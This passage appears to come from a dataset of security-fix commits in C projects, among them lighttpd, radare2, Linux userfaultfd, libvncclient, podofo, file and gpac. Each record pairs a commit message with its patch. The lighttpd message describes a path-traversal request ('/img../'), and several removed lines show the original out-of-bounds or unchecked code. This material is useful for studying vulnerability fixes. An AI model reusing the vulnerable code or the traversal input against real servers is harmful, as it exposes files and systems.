0);\n+\t\tif (*endptr || umask_long < 0 || umask_long & ~0777L) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"invalid umask value %s\", mask);\n+\t\t\treturn;\n+\t\t}\n+\t\tumask_val = umask_long & 0777;\n+\t}\n+\telse {\n+\t\tbool need_or = false;\n+\t\tfor (i = 1; i < vector_size(strvec); i++) {\n+\t\t\tfor (p = strvec_slot(strvec, i); *p; ) {\n+\t\t\t\tif (need_or) {\n+\t\t\t\t\tif (*p == '|') {\n+\t\t\t\t\t\tneed_or = false;\n+\t\t\t\t\t\tp++;\n+\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t}\n+\n+\t\t\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"Invalid umask syntax %s\", FMT_STR_VSLOT(strvec, i));\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tif (!strncmp(p, \"IRUSR\", 5)) umask_val |= S_IRUSR;\n+\t\t\t\telse if (!strncmp(p, \"IWUSR\", 5)) umask_val |= S_IWUSR;\n+\t\t\t\telse if (!strncmp(p, \"IXUSR\", 5)) umask_val |= S_IXUSR;\n+\t\t\t\telse if (!strncmp(p, \"IRGRP\", 5)) umask_val |= S_IRGRP;\n+\t\t\t\telse if (!strncmp(p, \"IWGRP\", 5)) umask_val |= S_IWGRP;\n+\t\t\t\telse if (!strncmp(p, \"IXGRP\", 5)) umask_val |= S_IXGRP;\n+\t\t\t\telse if (!strncmp(p, \"IROTH\", 5)) umask_val |= S_IROTH;\n+\t\t\t\telse if (!strncmp(p, \"IWOTH\", 5)) umask_val |= S_IWOTH;\n+\t\t\t\telse if (!strncmp(p, \"IXOTH\", 5)) umask_val |= S_IXOTH;\n+\t\t\t\telse {\n+\t\t\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"Unknown umask bit %s\", p);\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tp += 5;\n+\t\t\t\tneed_or = true;\n+\t\t\t}\n+\t\t}\n+\t\tif (!need_or) {\n+\t\t\treport_config_error(CONFIG_GENERAL_ERROR, \"umask missing bit value\");\n+\t\t\treturn;\n+\t\t}\n+\t}\n+\n+\tglobal_data->umask = umask_val;\n+\tumask(umask_val);\n+}\n+\n void\n init_global_keywords(bool global_active)\n {\n", "related": false}, {"section": "@@ -1483,4 +1555,5 @@ init_global_keywords(bool global_active)\n \tinstall_keyword(\"vrrp_rx_bufs_policy\", &vrrp_rx_bufs_policy_handler);\n \tinstall_keyword(\"vrrp_rx_bufs_multiplier\", &vrrp_rx_bufs_multiplier_handler);\n #endif\n+\tinstall_keyword(\"umask\", &umask_handler);\n }", "related": false}]} +{"owner": "lighttpd", "repo": "lighttpd1.4", "language": "C", "file_name": "src/mod_alias.c", "commit_id": "2105dae0f9d7a964375ce681e53cb165375f84c1", "commit_message": "[mod_alias] security: potential path traversal with specific configs\n\nSecurity: potential path traversal of a single directory above the alias\ntarget with a specific mod_alias config where the alias which is matched\ndoes not end in '/', but alias target filesystem path does end in '/'.\n\ne.g. server.docroot = \"/srv/www/host/HOSTNAME/docroot\"\n alias.url = ( \"/img\" => \"/srv/www/hosts/HOSTNAME/images/\" )\n\nIf a malicious URL \"/img../\" were passed, the request would be\nfor directory \"/srv/www/hosts/HOSTNAME/images/../\" which would resolve\nto \"/srv/www/hosts/HOSTNAME/\". If mod_dirlisting were enabled, which\nis not the default, this would result in listing the contents of the\ndirectory above the alias. An attacker might also try to directly\naccess files anywhere under that path, which is one level above the\nintended aliased path.\n\ncredit: Orange Tsai(@orange_8361) from DEVCORE", "patch": "@@ -181,6 +181,21 @@ PHYSICALPATH_FUNC(mod_alias_physical_handler) {\n \t\t\t\t\tstrncmp(uri_ptr, ds->key->ptr, alias_len))) {\n \t\t\t/* matched */\n \n+\t\t\t/* check for path traversal in url-path following alias if key\n+\t\t\t * does not end in slash, but replacement value ends in slash */\n+\t\t\tif (uri_ptr[alias_len] == '.') {\n+\t\t\t\tchar *s = uri_ptr + alias_len + 1;\n+\t\t\t\tif (*s == '.') ++s;\n+\t\t\t\tif (*s == '/' || *s == '\\0') {\n+\t\t\t\t\tsize_t vlen = buffer_string_length(ds->value);\n+\t\t\t\t\tif (0 != alias_len && ds->key->ptr[alias_len-1] != '/'\n+\t\t\t\t\t && 0 != vlen && ds->value->ptr[vlen-1] == '/') {\n+\t\t\t\t\t\tcon->http_status = 403;\n+\t\t\t\t\t\treturn HANDLER_FINISHED;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\n \t\t\tbuffer_copy_buffer(con->physical.basedir, ds->value);\n \t\t\tbuffer_copy_buffer(srv->tmp_buf, ds->value);\n \t\t\tbuffer_append_string(srv->tmp_buf, uri_ptr + alias_len);", "sections": [{"section": "@@ -181,6 +181,21 @@ PHYSICALPATH_FUNC(mod_alias_physical_handler) {\n \t\t\t\t\tstrncmp(uri_ptr, ds->key->ptr, alias_len))) {\n \t\t\t/* matched */\n \n+\t\t\t/* check for path traversal in url-path following alias if key\n+\t\t\t * does not end in slash, but replacement value ends in slash */\n+\t\t\tif (uri_ptr[alias_len] == '.') {\n+\t\t\t\tchar *s = uri_ptr + alias_len + 1;\n+\t\t\t\tif (*s == '.') ++s;\n+\t\t\t\tif (*s == '/' || *s == '\\0') {\n+\t\t\t\t\tsize_t vlen = buffer_string_length(ds->value);\n+\t\t\t\t\tif (0 != alias_len && ds->key->ptr[alias_len-1] != '/'\n+\t\t\t\t\t && 0 != vlen && ds->value->ptr[vlen-1] == '/') {\n+\t\t\t\t\t\tcon->http_status = 403;\n+\t\t\t\t\t\treturn HANDLER_FINISHED;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\n \t\t\tbuffer_copy_buffer(con->physical.basedir, ds->value);\n \t\t\tbuffer_copy_buffer(srv->tmp_buf, ds->value);\n \t\t\tbuffer_append_string(srv->tmp_buf, uri_ptr + alias_len);", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/format/mach0/dyldcache.c", "commit_id": "30f4c7b52a4e2dc0d0b1bae487d90f5437c69d19", "commit_message": "Fix #12374 - oobread crash in truncated dyldcache ##bin (#12381)", "patch": "@@ -1,4 +1,4 @@\n-/* radare - LGPL - Copyright 2010-2016 - nibble, pancake */\n+/* radare - LGPL - Copyright 2010-2018 - nibble, pancake */\n \n #include \n #include \n@@ -21,6 +21,23 @@ static int r_bin_dyldcache_apply_patch (struct r_buf_t* buf, ut32 data, ut64 off\n \n #define NZ_OFFSET(x) if((x) > 0) r_bin_dyldcache_apply_patch (dbuf, (x) - linkedit_offset, (ut64)((size_t)&(x) - (size_t)data))\n \n+// make it public in util/buf.c ?\n+static ut64 r_buf_read64le (RBuffer *buf, ut64 off) {\n+\tut8 data[8] = {0};\n+\tr_buf_read_at (buf, off, data, 8);\n+\treturn r_read_le64 (data);\n+}\n+\n+static char *r_buf_read_string (RBuffer *buf, ut64 addr, int len) {\n+\tut8 *data = malloc (len);\n+\tif (data) {\n+\t\tr_buf_read_at (buf, addr, data, len);\n+\t\tdata[len-1] = 0;\n+\t\treturn data;\n+\t}\n+\treturn NULL;\n+}\n+\n /* TODO: Needs more testing and ERROR HANDLING */\n struct r_bin_dyldcache_lib_t *r_bin_dyldcache_extract(struct r_bin_dyldcache_obj_t* bin, int idx, int *nlib) {\n \tut64 liboff, linkedit_offset;\n@@ -47,34 +64,41 @@ struct r_bin_dyldcache_lib_t *r_bin_dyldcache_extract(struct r_bin_dyldcache_obj\n \t*nlib = bin->nlibs;\n \tret = R_NEW0 (struct r_bin_dyldcache_lib_t);\n \tif (!ret) {\n-\t\tperror (\"malloc (ret)\");\n \t\treturn NULL;\n \t}\n \tif (bin->hdr.startaddr > bin->size) {\n \t \teprintf (\"corrupted dyldcache\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n+\n \tif (bin->hdr.startaddr > bin->size || bin->hdr.baseaddroff > bin->size) {\n \t\teprintf (\"corrupted dyldcache\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n-\timage_infos = (struct dyld_cache_image_info*) (bin->b->buf + bin->hdr.startaddr);\n-\tdyld_vmbase = *(ut64 *)(bin->b->buf + bin->hdr.baseaddroff);\n+\tint sz = bin->nlibs * sizeof (struct dyld_cache_image_info);\n+\timage_infos = malloc (sz); //(struct dyld_cache_image_info*) (bin->b->buf + bin->hdr.startaddr);\n+\tif (!image_infos) {\n+\t\tfree (ret);\n+\t\treturn NULL;\n+\t}\n+\tr_buf_read_at (bin->b, bin->hdr.startaddr, (ut8*)image_infos, sz);\n+\tdyld_vmbase = r_buf_read64le (bin->b, bin->hdr.baseaddroff);\n \tliboff = image_infos[idx].address - dyld_vmbase;\n \tif (liboff > bin->size) {\n \t\teprintf (\"Corrupted file\\n\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n \tret->offset = liboff;\n-\tif (image_infos[idx].pathFileOffset > bin->size) {\n-\t eprintf (\"corrupted file\\n\");\n+\tint pfo = image_infos[idx].pathFileOffset;\n+\tif (pfo < 0 || pfo > bin->size) {\n+\t\teprintf (\"corrupted file: pathFileOffset > bin->size (%d)\\n\", pfo);\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n-\tlibname = (char *)(bin->b->buf + image_infos[idx].pathFileOffset);\n+\tlibname = r_buf_read_string (bin->b, pfo, 64);\n \t/* Locate lib hdr in cache */\n \tdata = bin->b->buf + liboff;\n \tmh = (struct mach_header *)data;\n@@ -224,16 +248,15 @@ struct r_bin_dyldcache_obj_t* r_bin_dyldcache_new(const char* file) {\n }\n \n struct r_bin_dyldcache_obj_t* r_bin_dyldcache_from_bytes_new(const ut8* buf, ut64 size) {\n-\tstruct r_bin_dyldcache_obj_t *bin;\n-\tif (!(bin = malloc (sizeof (struct r_bin_dyldcache_obj_t)))) {\n+\tstruct r_bin_dyldcache_obj_t *bin = R_NEW0 (struct r_bin_dyldcache_obj_t);\n+\tif (!bin) {\n \t\treturn NULL;\n \t}\n-\tmemset (bin, 0, sizeof (struct r_bin_dyldcache_obj_t));\n \tif (!buf) {\n \t\treturn r_bin_dyldcache_free (bin);\n \t}\n-\tbin->b = r_buf_new();\n-\tif (!r_buf_set_bytes (bin->b, buf, size)) {\n+\tbin->b = r_buf_new ();\n+\tif (!bin->b || !r_buf_set_bytes (bin->b, buf, size)) {\n \t\treturn r_bin_dyldcache_free (bin);\n \t}\n \tif (!r_bin_dyldcache_init (bin)) {", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* radare - LGPL - Copyright 2010-2016 - nibble, pancake */\n+/* radare - LGPL - Copyright 2010-2018 - nibble, pancake */\n \n #include \n #include \n", "related": false}, {"section": "@@ -21,6 +21,23 @@ static int r_bin_dyldcache_apply_patch (struct r_buf_t* buf, ut32 data, ut64 off\n \n #define NZ_OFFSET(x) if((x) > 0) r_bin_dyldcache_apply_patch (dbuf, (x) - linkedit_offset, (ut64)((size_t)&(x) - (size_t)data))\n \n+// make it public in util/buf.c ?\n+static ut64 r_buf_read64le (RBuffer *buf, ut64 off) {\n+\tut8 data[8] = {0};\n+\tr_buf_read_at (buf, off, data, 8);\n+\treturn r_read_le64 (data);\n+}\n+\n+static char *r_buf_read_string (RBuffer *buf, ut64 addr, int len) {\n+\tut8 *data = malloc (len);\n+\tif (data) {\n+\t\tr_buf_read_at (buf, addr, data, len);\n+\t\tdata[len-1] = 0;\n+\t\treturn data;\n+\t}\n+\treturn NULL;\n+}\n+\n /* TODO: Needs more testing and ERROR HANDLING */\n struct r_bin_dyldcache_lib_t *r_bin_dyldcache_extract(struct r_bin_dyldcache_obj_t* bin, int idx, int *nlib) {\n \tut64 liboff, linkedit_offset;\n", "related": false}, {"section": "@@ -47,34 +64,41 @@ struct r_bin_dyldcache_lib_t *r_bin_dyldcache_extract(struct r_bin_dyldcache_obj\n \t*nlib = bin->nlibs;\n \tret = R_NEW0 (struct r_bin_dyldcache_lib_t);\n \tif (!ret) {\n-\t\tperror (\"malloc (ret)\");\n \t\treturn NULL;\n \t}\n \tif (bin->hdr.startaddr > bin->size) {\n \t \teprintf (\"corrupted dyldcache\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n+\n \tif (bin->hdr.startaddr > bin->size || bin->hdr.baseaddroff > bin->size) {\n \t\teprintf (\"corrupted dyldcache\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n-\timage_infos = (struct dyld_cache_image_info*) (bin->b->buf + bin->hdr.startaddr);\n-\tdyld_vmbase = *(ut64 *)(bin->b->buf + bin->hdr.baseaddroff);\n+\tint sz = bin->nlibs * sizeof (struct dyld_cache_image_info);\n+\timage_infos = malloc (sz); //(struct dyld_cache_image_info*) (bin->b->buf + bin->hdr.startaddr);\n+\tif (!image_infos) {\n+\t\tfree (ret);\n+\t\treturn NULL;\n+\t}\n+\tr_buf_read_at (bin->b, bin->hdr.startaddr, (ut8*)image_infos, sz);\n+\tdyld_vmbase = r_buf_read64le (bin->b, bin->hdr.baseaddroff);\n \tliboff = image_infos[idx].address - dyld_vmbase;\n \tif (liboff > bin->size) {\n \t\teprintf (\"Corrupted file\\n\");\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n \tret->offset = liboff;\n-\tif (image_infos[idx].pathFileOffset > bin->size) {\n-\t eprintf (\"corrupted file\\n\");\n+\tint pfo = image_infos[idx].pathFileOffset;\n+\tif (pfo < 0 || pfo > bin->size) {\n+\t\teprintf (\"corrupted file: pathFileOffset > bin->size (%d)\\n\", pfo);\n \t\tfree (ret);\n \t\treturn NULL;\n \t}\n-\tlibname = (char *)(bin->b->buf + image_infos[idx].pathFileOffset);\n+\tlibname = r_buf_read_string (bin->b, pfo, 64);\n \t/* Locate lib hdr in cache */\n \tdata = bin->b->buf + liboff;\n \tmh = (struct mach_header *)data;\n", "related": false}, {"section": "@@ -224,16 +248,15 @@ struct r_bin_dyldcache_obj_t* r_bin_dyldcache_new(const char* file) {\n }\n \n struct r_bin_dyldcache_obj_t* r_bin_dyldcache_from_bytes_new(const ut8* buf, ut64 size) {\n-\tstruct r_bin_dyldcache_obj_t *bin;\n-\tif (!(bin = malloc (sizeof (struct r_bin_dyldcache_obj_t)))) {\n+\tstruct r_bin_dyldcache_obj_t *bin = R_NEW0 (struct r_bin_dyldcache_obj_t);\n+\tif (!bin) {\n \t\treturn NULL;\n \t}\n-\tmemset (bin, 0, sizeof (struct r_bin_dyldcache_obj_t));\n \tif (!buf) {\n \t\treturn r_bin_dyldcache_free (bin);\n \t}\n-\tbin->b = r_buf_new();\n-\tif (!r_buf_set_bytes (bin->b, buf, size)) {\n+\tbin->b = r_buf_new ();\n+\tif (!bin->b || !r_buf_set_bytes (bin->b, buf, size)) {\n \t\treturn r_bin_dyldcache_free (bin);\n \t}\n \tif (!r_bin_dyldcache_init (bin)) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/userfaultfd.c", "commit_id": "29ec90660d68bbdd69507c1c8b4e33aa299278b1", "commit_message": "userfaultfd: shmem/hugetlbfs: only allow to register VM_MAYWRITE vmas\n\nAfter the VMA to register the uffd onto is found, check that it has\nVM_MAYWRITE set before allowing registration. This way we inherit all\ncommon code checks before allowing to fill file holes in shmem and\nhugetlbfs with UFFDIO_COPY.\n\nThe userfaultfd memory model is not applicable for readonly files unless\nit's a MAP_PRIVATE.\n\nLink: http://lkml.kernel.org/r/20181126173452.26955-4-aarcange@redhat.com\nFixes: ff62a3421044 (\"hugetlb: implement memfd sealing\")\nSigned-off-by: Andrea Arcangeli \nReviewed-by: Mike Rapoport \nReviewed-by: Hugh Dickins \nReported-by: Jann Horn \nFixes: 4c27fe4c4c84 (\"userfaultfd: shmem: add shmem_mcopy_atomic_pte for userfaultfd support\")\nCc: \nCc: \"Dr. David Alan Gilbert\" \nCc: Mike Kravetz \nCc: Peter Xu \nCc: stable@vger.kernel.org\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -205,8 +205,9 @@ static __always_inline ssize_t __mcopy_atomic_hugetlb(struct mm_struct *dst_mm,\n \t\tif (!dst_vma || !is_vm_hugetlb_page(dst_vma))\n \t\t\tgoto out_unlock;\n \t\t/*\n-\t\t * Only allow __mcopy_atomic_hugetlb on userfaultfd\n-\t\t * registered ranges.\n+\t\t * Check the vma is registered in uffd, this is\n+\t\t * required to enforce the VM_MAYWRITE check done at\n+\t\t * uffd registration time.\n \t\t */\n \t\tif (!dst_vma->vm_userfaultfd_ctx.ctx)\n \t\t\tgoto out_unlock;\n@@ -459,13 +460,9 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,\n \tif (!dst_vma)\n \t\tgoto out_unlock;\n \t/*\n-\t * Be strict and only allow __mcopy_atomic on userfaultfd\n-\t * registered ranges to prevent userland errors going\n-\t * unnoticed. As far as the VM consistency is concerned, it\n-\t * would be perfectly safe to remove this check, but there's\n-\t * no useful usage for __mcopy_atomic ouside of userfaultfd\n-\t * registered ranges. This is after all why these are ioctls\n-\t * belonging to the userfaultfd and not syscalls.\n+\t * Check the vma is registered in uffd, this is required to\n+\t * enforce the VM_MAYWRITE check done at uffd registration\n+\t * time.\n \t */\n \tif (!dst_vma->vm_userfaultfd_ctx.ctx)\n \t\tgoto out_unlock;", "sections": [{"section": "@@ -205,8 +205,9 @@ static __always_inline ssize_t __mcopy_atomic_hugetlb(struct mm_struct *dst_mm,\n \t\tif (!dst_vma || !is_vm_hugetlb_page(dst_vma))\n \t\t\tgoto out_unlock;\n \t\t/*\n-\t\t * Only allow __mcopy_atomic_hugetlb on userfaultfd\n-\t\t * registered ranges.\n+\t\t * Check the vma is registered in uffd, this is\n+\t\t * required to enforce the VM_MAYWRITE check done at\n+\t\t * uffd registration time.\n \t\t */\n \t\tif (!dst_vma->vm_userfaultfd_ctx.ctx)\n \t\t\tgoto out_unlock;\n", "related": false}, {"section": "@@ -459,13 +460,9 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,\n \tif (!dst_vma)\n \t\tgoto out_unlock;\n \t/*\n-\t * Be strict and only allow __mcopy_atomic on userfaultfd\n-\t * registered ranges to prevent userland errors going\n-\t * unnoticed. As far as the VM consistency is concerned, it\n-\t * would be perfectly safe to remove this check, but there's\n-\t * no useful usage for __mcopy_atomic ouside of userfaultfd\n-\t * registered ranges. This is after all why these are ioctls\n-\t * belonging to the userfaultfd and not syscalls.\n+\t * Check the vma is registered in uffd, this is required to\n+\t * enforce the VM_MAYWRITE check done at uffd registration\n+\t * time.\n \t */\n \tif (!dst_vma->vm_userfaultfd_ctx.ctx)\n \t\tgoto out_unlock;", "related": false}]} +{"owner": "libvnc", "repo": "libvncserver", "language": "C", "file_name": "libvncclient/rfbproto.c", "commit_id": "c5ba3fee85a7ecbbca1df5ffd46d32b92757bc2a", "commit_message": "LibVNCClient: ignore server-sent cut text longer than 1MB\n\nThis is in line with how LibVNCServer does it\n(28afb6c537dc82ba04d5f245b15ca7205c6dbb9c) and fixes part of #273.", "patch": "@@ -2217,6 +2217,11 @@ HandleRFBServerMessage(rfbClient* client)\n \n msg.sct.length = rfbClientSwap32IfLE(msg.sct.length);\n \n+ if (msg.sct.length > 1<<20) {\n+\t rfbClientErr(\"Ignoring too big cut text length sent by server: %u B > 1 MB\\n\", (unsigned int)msg.sct.length);\n+\t return FALSE;\n+ } \n+\n buffer = malloc((uint64_t)msg.sct.length+1);\n \n if (!ReadFromRFBServer(client, buffer, msg.sct.length)) {", "sections": [{"section": "@@ -2217,6 +2217,11 @@ HandleRFBServerMessage(rfbClient* client)\n \n msg.sct.length = rfbClientSwap32IfLE(msg.sct.length);\n \n+ if (msg.sct.length > 1<<20) {\n+\t rfbClientErr(\"Ignoring too big cut text length sent by server: %u B > 1 MB\\n\", (unsigned int)msg.sct.length);\n+\t return FALSE;\n+ } \n+\n buffer = malloc((uint64_t)msg.sct.length+1);\n \n if (!ReadFromRFBServer(client, buffer, msg.sct.length)) {", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/gd/libgd/gd_gif_out.c", "commit_id": "089f7c0bc28d399b0420aa6ef058e4c1c120b2ae", "commit_message": "Sync with upstream\n\nEven though libgd/libgd#492 is not a relevant bug fix for PHP, since\nthe binding doesn't use the `gdImage*Ptr()` functions at all, we're\nporting the fix to stay in sync here.", "patch": "@@ -97,12 +97,18 @@ static void cl_hash (register count_int chsize, GifCtx *ctx);\n static void char_init (GifCtx *ctx);\n static void char_out (int c, GifCtx *ctx);\n static void flush_char (GifCtx *ctx);\n+\n+static int _gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out);\n+\n void * gdImageGifPtr (gdImagePtr im, int *size)\n {\n void *rv;\n gdIOCtx *out = gdNewDynamicCtx (2048, NULL);\n- gdImageGifCtx (im, out);\n- rv = gdDPExtractData (out, size);\n+\tif (!_gdImageGifCtx(im, out)) {\n+\t\trv = gdDPExtractData(out, size);\n+\t} else {\n+\t\trv = NULL;\n+\t}\n out->gd_free (out);\n return rv;\n }\n@@ -115,6 +121,12 @@ void gdImageGif (gdImagePtr im, FILE * outFile)\n }\n \n void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n+{\n+\t_gdImageGifCtx(im, out);\n+}\n+\n+/* returns 0 on success, 1 on failure */\n+static int _gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n {\n \tgdImagePtr pim = 0, tim = im;\n \tint interlace, BitsPerPixel;\n@@ -125,7 +137,7 @@ void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n \t\t\tbased temporary image. */\n \t\tpim = gdImageCreatePaletteFromTrueColor(im, 1, 256);\n \t\tif (!pim) {\n-\t\t\treturn;\n+\t\t\treturn 1;\n \t\t}\n \t\ttim = pim;\n \t}\n@@ -138,6 +150,8 @@ void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n \t\t/* Destroy palette based temporary image. */\n \t\tgdImageDestroy(\tpim);\n \t}\n+\n+ return 0;\n }\n \n static int", "sections": [{"section": "@@ -97,12 +97,18 @@ static void cl_hash (register count_int chsize, GifCtx *ctx);\n static void char_init (GifCtx *ctx);\n static void char_out (int c, GifCtx *ctx);\n static void flush_char (GifCtx *ctx);\n+\n+static int _gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out);\n+\n void * gdImageGifPtr (gdImagePtr im, int *size)\n {\n void *rv;\n gdIOCtx *out = gdNewDynamicCtx (2048, NULL);\n- gdImageGifCtx (im, out);\n- rv = gdDPExtractData (out, size);\n+\tif (!_gdImageGifCtx(im, out)) {\n+\t\trv = gdDPExtractData(out, size);\n+\t} else {\n+\t\trv = NULL;\n+\t}\n out->gd_free (out);\n return rv;\n }\n", "related": false}, {"section": "@@ -115,6 +121,12 @@ void gdImageGif (gdImagePtr im, FILE * outFile)\n }\n \n void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n+{\n+\t_gdImageGifCtx(im, out);\n+}\n+\n+/* returns 0 on success, 1 on failure */\n+static int _gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n {\n \tgdImagePtr pim = 0, tim = im;\n \tint interlace, BitsPerPixel;\n", "related": false}, {"section": "@@ -125,7 +137,7 @@ void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n \t\t\tbased temporary image. */\n \t\tpim = gdImageCreatePaletteFromTrueColor(im, 1, 256);\n \t\tif (!pim) {\n-\t\t\treturn;\n+\t\t\treturn 1;\n \t\t}\n \t\ttim = pim;\n \t}\n", "related": false}, {"section": "@@ -138,6 +150,8 @@ void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)\n \t\t/* Destroy palette based temporary image. */\n \t\tgdImageDestroy(\tpim);\n \t}\n+\n+ return 0;\n }\n \n static int", "related": false}]} +{"owner": "jjanku", "repo": "podofo", "language": "C++", "file_name": "tools/podofoimpose/pdftranslator.cpp", "commit_id": "ada821df68fb0bf673840ed525daf4ec709dbfd9", "commit_message": "Fixed CVE-2019-9199, issue #40 (raises PdfError with PageNotFound code on error)\n\nThe error is the page 0 (0-based) not being found, before this fix that led to\na null pointer dereference (method call on a null pointer, undefined behavior),\nnow just a PdfError exception is raised.", "patch": "@@ -148,7 +148,12 @@ namespace PoDoFo\n // \tstd::cerr << \"Document has \"<< pcount << \" page(s) \" << endl;\n \t\t\tif ( pcount > 0 ) // only here to avoid possible segfault, but PDF without page is not conform IIRC\n \t\t\t{\n-\t\t\t\tPoDoFo::PdfRect rect ( sourceDoc->GetPage ( 0 )->GetMediaBox() );\n+ PoDoFo::PdfPage* pFirstPage = sourceDoc->GetPage ( 0 );\n+ if ( NULL == pFirstPage ) // Fixes CVE-2019-9199 (issue #40)\n+ {\n+ PODOFO_RAISE_ERROR_INFO( ePdfError_PageNotFound, \"First page (0) of source document not found\" );\n+ }\n+ PoDoFo::PdfRect rect ( pFirstPage->GetMediaBox() );\n \t\t\t\t// keep in mind it’s just a hint since PDF can have different page sizes in a same doc\n \t\t\t\tsourceWidth = rect.GetWidth() - rect.GetLeft();\n \t\t\t\tsourceHeight = rect.GetHeight() - rect.GetBottom() ;", "sections": [{"section": "@@ -148,7 +148,12 @@ namespace PoDoFo\n // \tstd::cerr << \"Document has \"<< pcount << \" page(s) \" << endl;\n \t\t\tif ( pcount > 0 ) // only here to avoid possible segfault, but PDF without page is not conform IIRC\n \t\t\t{\n-\t\t\t\tPoDoFo::PdfRect rect ( sourceDoc->GetPage ( 0 )->GetMediaBox() );\n+ PoDoFo::PdfPage* pFirstPage = sourceDoc->GetPage ( 0 );\n+ if ( NULL == pFirstPage ) // Fixes CVE-2019-9199 (issue #40)\n+ {\n+ PODOFO_RAISE_ERROR_INFO( ePdfError_PageNotFound, \"First page (0) of source document not found\" );\n+ }\n+ PoDoFo::PdfRect rect ( pFirstPage->GetMediaBox() );\n \t\t\t\t// keep in mind it’s just a hint since PDF can have different page sizes in a same doc\n \t\t\t\tsourceWidth = rect.GetWidth() - rect.GetLeft();\n \t\t\t\tsourceHeight = rect.GetHeight() - rect.GetBottom() ;", "related": false}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/readelf.c", "commit_id": "2858eaf99f6cc5aae129bcbf1e24ad160240185f", "commit_message": "Avoid OOB read (found by ASAN reported by F. Alonso)", "patch": "@@ -27,7 +27,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: readelf.c,v 1.156 2018/10/19 00:33:04 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: readelf.c,v 1.157 2019/01/02 19:44:14 christos Exp $\")\n #endif\n \n #ifdef BUILTIN_ELF\n@@ -752,7 +752,7 @@ do_core_note(struct magic_set *ms, unsigned char *nbuf, uint32_t type,\n \t\t\tchar sbuf[512];\n \t\t\tstruct NetBSD_elfcore_procinfo pi;\n \t\t\tmemset(&pi, 0, sizeof(pi));\n-\t\t\tmemcpy(&pi, nbuf + doff, descsz);\n+\t\t\tmemcpy(&pi, nbuf + doff, MIN(descsz, sizeof(pi)));\n \n \t\t\tif (file_printf(ms, \", from '%.31s', pid=%u, uid=%u, \"\n \t\t\t \"gid=%u, nlwps=%u, lwp=%u (signal %u/code %u)\",", "sections": [{"section": "@@ -27,7 +27,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: readelf.c,v 1.156 2018/10/19 00:33:04 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: readelf.c,v 1.157 2019/01/02 19:44:14 christos Exp $\")\n #endif\n \n #ifdef BUILTIN_ELF\n", "related": false}, {"section": "@@ -752,7 +752,7 @@ do_core_note(struct magic_set *ms, unsigned char *nbuf, uint32_t type,\n \t\t\tchar sbuf[512];\n \t\t\tstruct NetBSD_elfcore_procinfo pi;\n \t\t\tmemset(&pi, 0, sizeof(pi));\n-\t\t\tmemcpy(&pi, nbuf + doff, descsz);\n+\t\t\tmemcpy(&pi, nbuf + doff, MIN(descsz, sizeof(pi)));\n \n \t\t\tif (file_printf(ms, \", from '%.31s', pid=%u, uid=%u, \"\n \t\t\t \"gid=%u, nlwps=%u, lwp=%u (signal %u/code %u)\",", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "applications/mp4client/main.c", "commit_id": "1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd", "commit_message": "add some boundary checks on gf_text_get_utf8_line (#1188)", "patch": "@@ -1715,7 +1715,7 @@ int mp4client_main(int argc, char **argv)\n \t\t\t\t\te = gf_dm_sess_process(sess);\n \t\t\t\t\tif (!e) {\n \t\t\t\t\t\tstrncpy(the_url, gf_dm_sess_get_cache_name(sess), sizeof(the_url) - 1);\n-\t\t\t\t\t\tthe_url[sizeof(the_cfg) - 1] = 0;\n+\t\t\t\t\t\tthe_url[sizeof(the_url) - 1] = 0;\n \t\t\t\t\t}\n \t\t\t\t\tgf_dm_sess_del(sess);\n \t\t\t\t}", "sections": [{"section": "@@ -1715,7 +1715,7 @@ int mp4client_main(int argc, char **argv)\n \t\t\t\t\te = gf_dm_sess_process(sess);\n \t\t\t\t\tif (!e) {\n \t\t\t\t\t\tstrncpy(the_url, gf_dm_sess_get_cache_name(sess), sizeof(the_url) - 1);\n-\t\t\t\t\t\tthe_url[sizeof(the_cfg) - 1] = 0;\n+\t\t\t\t\t\tthe_url[sizeof(the_url) - 1] = 0;\n \t\t\t\t\t}\n \t\t\t\t\tgf_dm_sess_del(sess);\n \t\t\t\t}", "related": true}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "lspci.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes 